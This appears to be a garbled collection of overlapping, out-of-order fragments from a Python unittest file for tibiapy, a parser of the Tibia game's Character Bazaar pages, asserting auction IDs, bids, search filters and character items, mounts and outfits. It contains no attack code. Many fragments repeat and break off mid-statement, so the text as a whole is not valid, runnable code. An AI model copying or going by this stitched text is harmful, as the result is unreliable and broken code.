"self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries))",
"auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1,",
"test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries))",
"self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries))",
"self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item =",
"auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7,",
"self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1,",
"import unittest from tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType,",
"\"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\"",
"self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD,",
"auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters)",
"def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25,",
"CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction =",
"self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag')))",
"self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon')))",
"# Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation)",
"auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing",
"self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2,",
"self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages)",
"auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed)",
"auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id)",
"blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\"",
"auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1,",
"test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url)",
"self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def",
"auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings)",
"self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN,",
"bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type)",
"auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count)",
"self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM,",
"self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2,",
"auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles))",
"auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id)",
"auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills))",
"self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results)",
"FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def",
"self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items)",
"self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0]",
"pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results)",
"def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com",
"def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name,",
"self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1,",
"self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id)",
"auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1,",
"auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1,",
"self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results)",
"self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level)",
"self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits)",
"self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name)",
"self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex)",
"auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self):",
"self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT,",
"self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50,",
"= bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world)",
"bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar",
"Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id)",
"self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2,",
"auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322,",
"self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\",",
"VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\"",
"= bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world)",
"auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4,",
"self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box",
"auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151,",
"auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\",",
"auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries))",
"len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters)",
"auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction)",
"def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent):",
"self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92,",
"AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\",
"self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream",
"self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing",
"self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962,",
"self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0]",
"self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages)",
"self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages)",
"CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name,",
"self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer',",
"FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar =",
"self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status)",
"bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill)",
"bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order)",
"auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url)",
"bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type)",
"self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1,",
"auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas))",
"\\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter",
"bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level)",
"len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries))",
"bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page)",
"len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1,",
"= Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content =",
"len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16,",
"first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing",
"self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page)",
